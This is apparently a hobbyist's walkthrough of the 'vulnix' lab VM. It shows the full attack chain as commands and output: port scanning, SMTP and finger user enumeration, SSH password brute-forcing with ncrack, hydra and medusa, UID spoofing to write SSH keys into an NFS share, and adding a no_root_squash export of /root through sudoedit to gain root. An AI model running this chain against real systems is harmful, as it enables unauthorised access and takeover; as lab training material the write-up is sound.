vulnix

```
 Currently scanning: Finished!   |   Screen View: Unique Hosts

 7 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 420
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname
 -----------------------------------------------------------------------------
 192.168.31.1    00:50:56:c0:00:08      4     240  VMware, Inc.
 192.168.31.2    00:50:56:e5:d7:98      1      60  VMware, Inc.
 192.168.31.155  00:0c:29:0a:d9:ac      1      60  VMware, Inc.
 192.168.31.254  00:50:56:e2:76:45      1      60  VMware, Inc.
```

nmap

```
root@kali:~# nmap -Pn -n -A -p- 192.168.31.155
Starting Nmap 7.70 ( https://nmap.org ) at 2019-09-15 11:38 EDT
Stats: 0:02:56 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.96% done; ETC: 11:40 (0:00:00 remaining)
Nmap scan report for 192.168.31.155
Host is up (0.0050s latency).
Not shown: 65518 closed ports
PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 10:cd:9e:a0:e4:e0:30:24:3e:bd:67:5f:75:4a:33:bf (DSA)
|   2048 bc:f9:24:07:2f:cb:76:80:0d:27:a6:48:52:0a:24:3a (RSA)
|_  256 4d:bb:4a:c1:18:e8:da:d1:82:6f:58:52:9c:ee:34:5f (ECDSA)
25/tcp    open  smtp       Postfix smtpd
|_smtp-commands: vulnix, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, 
|_ssl-date: 2019-09-15T15:38:45+00:00; -1s from scanner time.
79/tcp    open  finger     Linux fingerd
|_finger: No one logged on.\x0D
110/tcp   open  pop3       Dovecot pop3d
|_pop3-capabilities: SASL TOP STLS PIPELINING UIDL CAPA RESP-CODES
|_ssl-date: 2019-09-15T15:38:45+00:00; 0s from scanner time.
111/tcp   open  rpcbind    2-4 (RPC #100000)
| rpcinfo: 
|   program version   port/proto  service
|   100000  2,3,4        111/tcp  rpcbind
|   100000  2,3,4        111/udp  rpcbind
|   100003  2,3,4       2049/tcp  nfs
|   100003  2,3,4       2049/udp  nfs
|   100005  1,2,3      35803/udp  mountd
|   100005  1,2,3      58690/tcp  mountd
|   100021  1,3,4      53624/tcp  nlockmgr
|   100021  1,3,4      58843/udp  nlockmgr
|   100024  1          34986/tcp  status
|   100024  1          47886/udp  status
|   100227  2,3         2049/tcp  nfs_acl
|_  100227  2,3         2049/udp  nfs_acl
143/tcp   open  imap       Dovecot imapd
|_imap-capabilities: more LITERAL+ ID have post-login ENABLE listed LOGINDISABLEDA0001 STARTTLS IDLE Pre-login SASL-IR
OK IMAP4rev1 capabilities LOGIN-REFERRALS
|_ssl-date: 2019-09-15T15:38:45+00:00; 0s from scanner time.
512/tcp   open  exec       netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  tcpwrapped
993/tcp   open  ssl/imaps?
|_ssl-date: 2019-09-15T15:38:44+00:00; 0s from scanner time.
995/tcp   open  ssl/pop3s?
|_ssl-date: 2019-09-15T15:38:44+00:00; 0s from scanner time.
2049/tcp  open  nfs_acl    2-3 (RPC #100227)
34986/tcp open  status     1 (RPC #100024)
47849/tcp open  mountd     1-3 (RPC #100005)
```

```
53624/tcp open  nlockmgr   1-4 (RPC #100021)
58690/tcp open  mountd     1-3 (RPC #100005)
59252/tcp open  mountd     1-3 (RPC #100005)
MAC Address: 00:0C:29:0A:D9:AC (VMware)
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10
Network Distance: 1 hop
Service Info: Host:  vulnix; OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   4.99 ms 192.168.31.155

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 181.53 seconds
```

rpcinfo

```
root@kali:~# rpcinfo -p 192.168.31.155
   program vers proto   port  service
    100000    4   tcp    111  portmapper
    100000    3   tcp    111  portmapper
    100000    2   tcp    111  portmapper
    100000    4   udp    111  portmapper
    100000    3   udp    111  portmapper
    100000    2   udp    111  portmapper
    100024    1   udp  47886  status
    100024    1   tcp  34986  status
    100003    2   tcp   2049  nfs
    100003    3   tcp   2049  nfs
    100003    4   tcp   2049  nfs
    100227    2   tcp   2049
    100227    3   tcp   2049
    100003    2   udp   2049  nfs
    100003    3   udp   2049  nfs
    100003    4   udp   2049  nfs
    100227    2   udp   2049
    100227    3   udp   2049
    100021    1   udp  58843  nlockmgr
    100021    3   udp  58843  nlockmgr
    100021    4   udp  58843  nlockmgr
    100021    1   tcp  53624  nlockmgr
    100021    3   tcp  53624  nlockmgr
    100021    4   tcp  53624  nlockmgr
    100005    1   udp  40459  mountd
    100005    1   tcp  47849  mountd
    100005    2   udp  55394  mountd
    100005    2   tcp  59252  mountd
    100005    3   udp  35803  mountd
    100005    3   tcp  58690  mountd
```

wo now know that nfs share is open checkout with nmap

smtp

smtp

```
nc -nv 192.168.1.72 25
```

VRFY

```
nc 192.168.31.155 25
```

```
220 vulnix ESMTP Postfix (Ubuntu)
VRF
502 5.5.2 Error: command not recognized
\VRFY
502 5.5.2 Error: command not recognized
VRFY
501 5.5.4 Syntax: VRFY address
```

find the dictonary metasploit unix-users.txt in order to get users

use smtp-user enum

```
root@kali:~# smtp-user-enum -M VRFY -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t 192.168.31.155
Starting smtp-user-enum v1.2 ( http://pentestmonkey.net/tools/smtp-user-enum )

 ----------------------------------------------------------
|                   Scan Information                       |
 ----------------------------------------------------------

Mode ..................... VRFY
Worker Processes ......... 5
Usernames file ........... /usr/share/metasploit-framework/data/wordlists/unix_users.txt
Target count ............. 1
Username count ........... 113
Target TCP port .......... 25
Query timeout ............ 5 secs
Target domain ............

######## Scan started at Sun Sep 15 12:20:43 2019 #########
192.168.31.155: ROOT exists
192.168.31.155: backup exists
192.168.31.155: bin exists
192.168.31.155: daemon exists
192.168.31.155: games exists
192.168.31.155: gnats exists
192.168.31.155: irc exists
192.168.31.155: libuuid exists
192.168.31.155: list exists
192.168.31.155: lp exists
192.168.31.155: mail exists
192.168.31.155: man exists
192.168.31.155: messagebus exists
192.168.31.155: news exists
192.168.31.155: nobody exists
192.168.31.155: postmaster exists
192.168.31.155: proxy exists
192.168.31.155: root exists
192.168.31.155: sshd exists
192.168.31.155: sync exists
192.168.31.155: sys exists
192.168.31.155: syslog exists
192.168.31.155: user exists
192.168.31.155: uucp exists
192.168.31.155: www-data exists
######## Scan completed at Sun Sep 15 12:20:43 2019 #########
25 results.

113 queries in 1 seconds (113.0 queries / sec)
```

finger

```
root@kali:~# git clone https://github.com/Kan1shka9/Finger-User-Enumeration.git
Cloning into 'Finger-User-Enumeration'...
```

```
remote: Counting objects: 12, done.
remote: Compressing objects: 100% (10/10), done.
remote: Total 12 (delta 2), reused 3 (delta 0), pack-reused 0
Unpacking objects: 100% (12/12), done.
Checking connectivity... done.
root@kali:~/Desktop/B2R# cd Finger-User-Enumeration/
root@kali:~/Desktop/B2R/Finger-User-Enumeration# ls
finger_enum_user.sh  README.md
root@kali:~/Desktop/B2R/Finger-User-Enumeration# ./finger_enum_user.shScript takes a file with a list of users as argument
Usage:
./finger_enum_user.sh <filename.txt>



root@kali:~/Desktop/machine/tools_oscp/Finger-User-Enumeration-master# ./finger_enum_user.sh /usr/share/metasploit-framework/data/wordlists/unix_users.txt
User :
finger: connect: Connection timed out


User : 4Dgifts
finger: connect: Connection timed out


User : EZsetup
finger: connect: Connection timed out


User : OutOfBox
finger: connect: Connection timed out


User : ROOT
finger: connect: Connection timed out


User : adm
finger: connect: Connection timed out


User : admin
finger: connect: Connection timed out


User : administrator
finger: connect: Connection timed out


User : anon
finger: connect: Connection timed out


User : auditor
finger: connect: Connection timed out


User : avahi
finger: connect: Connection timed out


User : avahi-autoipd
finger: connect: Connection timed out


User : backup
finger: connect: Connection timed out


User : bbs
finger: connect: Connection timed out
```

```
User : bin
finger: connect: Connection timed out


User : checkfs
finger: connect: Connection timed out


User : checkfsys
finger: connect: Connection timed out


User : checksys
finger: connect: Connection timed out


User : chronos
finger: connect: Connection timed out


User : cmwlogin
finger: connect: Connection timed out


User : couchdb
finger: connect: Connection timed out


User : daemon
finger: connect: Connection timed out


User : dbadmin
finger: connect: Connection timed out


User : demo
finger: connect: Connection timed out


User : demos
finger: connect: Connection timed out


User : diag
finger: connect: Connection timed out


User : distccd
finger: connect: Connection timed out


----------------------------------------------------------------------------------
```

not good detailes   so i tried to get details from nmap , smtp etc and i got vulnix and user and other details which might be useful

then i checked out the finger command to verify all

```
-----------------------------------------------------------
root@kali:~/Desktop/machine/tools_oscp/Finger-User-Enumeration-master# finger user@192.168.31.155
Login: user                                             Name: user
Directory: /home/user                   Shell: /bin/bash
Never logged in.
No mail.
No Plan.

Login: dovenull                                         Name: Dovecot login user
Directory: /nonexistent                 Shell: /bin/false
Never logged in.
```

```
No mail.
No Plan.
root@kali:~/Desktop/machine/tools_oscp/Finger-User-Enumeration-master# finger vulnix@192.168.31.155
Login: vulnix                                   Name:
Directory: /home/vulnix                         Shell: /bin/bash
Never logged in.
No mail.
No Plan.
```

bruteforce ssh

```
--------------------------------------------------------------------------------

ncrack -p 22 --user user -P /usr/share/wordlists/rockyou.txt 192.168.31.155

ncrack -p ssh -u root -P 500-worst-passwords.txt -T5 192.168.31.155


hydra -l user -P /usr/share/wordlists/rockyou.txt 192.168.31.155 ssh -t 4

hydra -t 32 -l root -P 500-worst-passwords.txt 10.10.10.10 ssh

# hydra -l root -P /usr/share/wordlists/rockyou.txt 192.168.1.105 -t 4 -e nsr ssh

medusa -u user -P /usr/share/wordlists/rockyou.txt -h 192.168.31.155 -M ssh

# hydra -l root -P /usr/share/wordlists/rockyou.txt 192.168.1.105 -t 4 -e nsr ssh

-------------------------------------------------------------------------------
```

ncrack -p 22 --user user -P /usr/share/wordlists/rockyou.txt 192.168.31.155

```
Starting Ncrack 0.6 ( http://ncrack.org ) at 2019-09-15 13:17 EDT
Stats: 0:00:31 elapsed; 0 services completed (1 total)
Rate: 0.16; Found: 0; About 0.00% done
Stats: 0:01:51 elapsed; 0 services completed (1 total)
Rate: 2.70; Found: 0; About 0.00% done
Stats: 0:03:33 elapsed; 0 services completed (1 total)
Rate: 3.09; Found: 1; About 0.01% done
(press 'p' to list discovered credentials)
Stats: 0:03:33 elapsed; 0 services completed (1 total)
Rate: 2.78; Found: 1; About 0.01% done
(press 'p' to list discovered credentials)
Discovered credentials for ssh on 192.168.31.155 22/tcp:
192.168.31.155 22/tcp ssh: 'user' 'letmein'
```

ssh accesss

after getting password through ncrack as user and letmein

use ssh

```
root@kali:~# ssh user@192.168.31.155
The authenticity of host '192.168.31.155 (192.168.31.155)' can't be established.
ECDSA key fingerprint is SHA256:IGOuLMZRTuUvY58a8TN+ef/1zyRCAHk0qYP4wMViOAg.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.31.155' (ECDSA) to the list of known hosts.
user@192.168.31.155's password:
Permission denied, please try again.
user@192.168.31.155's password:
Permission denied, please try again.
user@192.168.31.155's password:
```

```
Welcome to Ubuntu 12.04.1 LTS (GNU/Linux 3.2.0-29-generic-pae i686)

 * Documentation:  https://help.ubuntu.com/

  System information as of Sun Sep 15 18:30:06 BST 2019

  System load:  0.0               Processes:           89
  Usage of /:   90.3% of 773MB   Users logged in:     0
  Memory usage: 7%                IP address for eth0: 192.168.31.155
  Swap usage:   0%

  => / is using 90.3% of 773MB

  Graph this data and manage this system at https://landscape.canonical.com/

New release '14.04.6 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

user@vulnix:~$
```

showmount

```
 nmap -Pn -n --script=nfs-showmount 192.168.31.155
Starting Nmap 7.70 ( https://nmap.org ) at 2019-09-15 12:40 EDT
Nmap scan report for 192.168.31.155
Host is up (0.0021s latency).
Not shown: 988 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
25/tcp   open  smtp
79/tcp   open  finger
110/tcp  open  pop3
111/tcp  open  rpcbind
| nfs-showmount:
|_  /home/vulnix *
143/tcp  open  imap
512/tcp  open  exec
513/tcp  open  login
514/tcp  open  shell
993/tcp  open  imaps
995/tcp  open  pop3s
2049/tcp open  nfs
MAC Address: 00:0C:29:0A:D9:AC (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.52 seconds
```

try showmount

```
 howmount -e 192.168.31.155
Export list for 192.168.31.155:
/home/vulnix *
```

```
mount -t nfs 192.168.31.155:/home/vulnix /mnt/vulnix/
root@kali:~# cd /mnt/vulnix/
bash: cd: /mnt/vulnix/: Permission denied
```

tried but not working now what !!!!!!!!!!!!!!!!!!!!!!

privlage escilatiom

```
user@vulnix:~$ find / -perm -u=s 2>/dev/null
/sbin/mount.nfs
/usr/sbin/uuidd
/usr/sbin/pppd
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/pt_chown
/usr/bin/mtr
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/at
/usr/bin/sudoedit
/usr/bin/traceroute6.iputils
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/procmail
/bin/ping6
/bin/mount
/bin/umount
/bin/su
/bin/ping
/bin/fusermount
user@vulnix:~$
```

```
user@vulnix:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
messagebus:x:102:105::/var/run/dbus:/bin/false
whoopsie:x:103:106::/nonexistent:/bin/false
postfix:x:104:110::/var/spool/postfix:/bin/false
dovecot:x:105:112:Dovecot mail server,,,:/usr/lib/dovecot:/bin/false
dovenull:x:106:65534:Dovecot login user,,,:/nonexistent:/bin/false
landscape:x:107:113::/var/lib/landscape:/bin/false
sshd:x:108:65534::/var/run/sshd:/usr/sbin/nologin
```

user:x:1000:1000:user,,,:/home/user:/bin/bash
vulnix:x:2008:2008::/home/vulnix:/bin/bash

```
statd:x:109:65534::/var/lib/nfs:/bin/false
```

```
su vulnix
Password:
su: Authentication failure
user@vulnix:~$ ls
user@vulnix:~$ ls -la
total 28
drwxr-x--- 3 user user 4096 Sep  2  2012 .
```

```
drwxr-xr-x 4 root root 4096 Sep  2  2012 ..
-rw-r--r-- 1 user user  220 Sep  2  2012 .bash_logout
-rw-r--r-- 1 user user 3486 Sep  2  2012 .bashrc
drwx------ 2 user user 4096 Sep  2  2012 .cache
-rw-r--r-- 1 user user  675 Sep  2  2012 .profile
-rw------- 1 user user    7 Sep  2  2012 .rhosts
user@vulnix:~$
```

priv part 2 magic

suddenly someyhing came in my mind tha why dont i create own ssh key and replace with orginal to access mount files or other things

```
useradd -s /bin/bash -u 2008 vulnix

su vulnix

cd /mnt/vulnix

mkdir .ssh
```

```
root@kali:~# su vulnix
$ cd /mnt/vulnix
$ ls
$ ls -la
total 28
drwxr-x--- 3 vulnix vulnix 4096 Sep 15 14:51 .
drwxr-xr-x 4 root   root   4096 Sep 15 13:00 ..
-rw------- 1 vulnix vulnix   30 Sep 15 14:12 .bash_history
-rw-r--r-- 1 vulnix vulnix  220 Apr  3  2012 .bash_logout
-rw-r--r-- 1 vulnix vulnix 3486 Apr  3  2012 .bashrc
drwx------ 2 vulnix vulnix 4096 Sep 15 14:08 .cache
-rw-r--r-- 1 vulnix vulnix  675 Apr  3  2012 .profile
$ mkdir .ssh
$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/vulnix/.ssh/id_rsa): ^Z[1] + Stopped                    ssh-keygen
$ bash
vulnix@kali:/mnt/vulnix$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/vulnix/.ssh/id_rsa): /mnt/vulnix/.ssh
/mnt/vulnix/.ssh already exists.
Overwrite (y/n)? y
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Saving key "/mnt/vulnix/.ssh" failed: Is a directory
vulnix@kali:/mnt/vulnix$ cd .ssh
vulnix@kali:/mnt/vulnix/.ssh$ ls
vulnix@kali:/mnt/vulnix/.ssh$ ls -la
total 8
drwxr-xr-x 2 vulnix vulnix 4096 Sep 15 14:55 .
drwxr-x--- 4 vulnix vulnix 4096 Sep 15 14:55 ..
vulnix@kali:/mnt/vulnix/.ssh$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/vulnix/.ssh/id_rsa):
Could not create directory '/home/vulnix/.ssh': No such file or directory
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Saving key "/home/vulnix/.ssh/id_rsa" failed: No such file or directory
vulnix@kali:/mnt/vulnix/.ssh$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/vulnix/.ssh/id_rsa): /mnt/vulnix/.ssh/id_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
```

```
Your identification has been saved in /mnt/vulnix/.ssh/id_rsa.
Your public key has been saved in /mnt/vulnix/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:kjDxlFtD+HwLSSXINf0CbyUZqUx03rW6fDecSc8uupA vulnix@kali
The key's randomart image is:
+---[RSA 2048]----+
|   ...B*o++  .  |
|    += *==... . |
|   o .O *.+. .  |
|    o..B = ..   |
|     o S+ o.  . |
|      .  .o .o.+|
|         E o .=+|
|          . ..o.|
|           oo ..|
+----[SHA256]-----+
vulnix@kali:/mnt/vulnix/.ssh$ ls
id_rsa      id_rsa.pub
vulnix@kali:/mnt/vulnix/.ssh$
```

```
cd .ssh/echo  key > autorized_keys
```

----

login : -

```
ssh vulnix@192.168.31.155
```

`sudoedit /etc/exports`, it’s possible to add another share into the export list,
one which uses the no_squash_root option; which prevents root users being remapped to the nobody
user:

```
# /etc/exports: the access control list for filesystems which may be exported
#               to NFS clients.  See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes       hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4        gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes  gss/krb5i(rw,sync,no_subtree_check)
#
/home/vulnix    *(rw,root_squash)
/root *(rw,no_root_squash)
```

priv_final

Now you have to reboot the machine in order to reflect the root directory to be shared

after reboot type

```
showmount -e 192.168.31.155
Export list for 192.168.31.155:
/root        *
/home/vulnix *
```

----

this time mount as root

```
mount 192.168.31.155:/root /mnt/vulnix -o vers=3
root@kali:~# cd /mnt/vulnix
root@kali:/mnt/vulnix# ls
```

```
trophy.txt
root@kali:/mnt/vulnix# ls -la
total 28
drwx------ 3 root root 4096 Sep  2  2012 .
drwxr-xr-x 4 root root 4096 Sep 15 13:00 ..
-rw------- 1 root root    0 Sep  2  2012 .bash_history
-rw-r--r-- 1 root root 3106 Apr 19  2012 .bashrc
drwx------ 2 root root 4096 Sep  2  2012 .cache
-rw-r--r-- 1 root root  140 Apr 19  2012 .profile
-r-------- 1 root root   33 Sep  2  2012 trophy.txt
-rw------- 1 root root  710 Sep  2  2012 .viminfo
```

root@kali:/mnt/vulnix# cat trophy.txt
cc614640424f5bd60ce5d5264899c3be

```
root@kali:/mnt/vulnix#
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

root@kali:/mnt/vulnix# mkdir .ssh
root@kali:/mnt/vulnix# ls
trophy.txt
root@kali:/mnt/vulnix# ls -la
total 32
drwx------ 4 root root 4096 Sep 15 16:00 .
drwxr-xr-x 4 root root 4096 Sep 15 13:00 ..
-rw------- 1 root root    0 Sep  2  2012 .bash_history
-rw-r--r-- 1 root root 3106 Apr 19  2012 .bashrc
drwx------ 2 root root 4096 Sep  2  2012 .cache
-rw-r--r-- 1 root root  140 Apr 19  2012 .profile
drwxr-xr-x 2 root root 4096 Sep 15 16:00 .ssh
-r-------- 1 root root   33 Sep  2  2012 trophy.txt
-rw------- 1 root root  710 Sep  2  2012 .viminfo
root@kali:/mnt/vulnix# cd .ssh

------------------------------------------------------------------------------------------------
root@kali:/mnt/vulnix# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): /mnt/vulnix/.ssh/id_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /mnt/vulnix/.ssh/id_rsa.
Your public key has been saved in /mnt/vulnix/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:CuRDc19RLVBStBqWm4pdPG5jrGzMyomdibaiu7x5jDA root@kali
The key's randomart image is:
+---[RSA 2048]----+
|         +*=.    |
|          +...   |
|   + .   = ..    |
|  + o . + =      |
|   +   S B       |
|E    o + = .     |
|..o   ooo *      |
|..oo.= =++ .     |
|+Boo+.Boo        |
+----[SHA256]-----+
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
```

root@kali :~.ssh

```
echo ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAABAQCcj2T8eGF0DJ7uf9J5I9Z29mjn+OhViLvlBs28zSSCv3aGCvE70peFBITPRol28hk0ReEWE2F/
e17iHLB/+AJyI0xyq0F4L09Sn7ONEGIo2R306PIXouYXXCU3UiZgwbcMR/arRxiqHl/2dW0dQyhvqwoKg27xES8ao+n/
ivN11UQKaMsxYbnSa115eBG/X5ymUf6FaK4GCO/rLNywp+PlCAOW34JxLLPMTkPnyqNV0LBFf5jXBO+urh6d+yTjH8G4lE9itQd/
hwj7+osRmS/KT81P8Wyb3RJG+LNwxTedEqpFWKEjDMZfy+p90bkne44keP5irriRPM5hjApuvJkF root@kali > /mnt/vulnix/.ssh/
authorized_keys
-----------------------------------------------------------------------------------------------------------
root@kali:~# ssh -i id_rsa root@192.168.31.155
Warning: Identity file id_rsa not accessible: No such file or directory.
Welcome to Ubuntu 12.04.1 LTS (GNU/Linux 3.2.0-29-generic-pae i686)

 * Documentation:  https://help.ubuntu.com/

  System information as of Sun Sep 15 21:05:48 BST 2019
  System load:  0.0               Processes:           89
  Usage of /:   90.4% of 773MB   Users logged in:     0
  Memory usage: 7%                IP address for eth0: 192.168.31.155
  Swap usage:   0%

  => / is using 90.4% of 773MB

  Graph this data and manage this system at https://landscape.canonical.com/

New release '14.04.6 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

root@vulnix:~#
```

yipppppeeeeeeeeeeeeeeee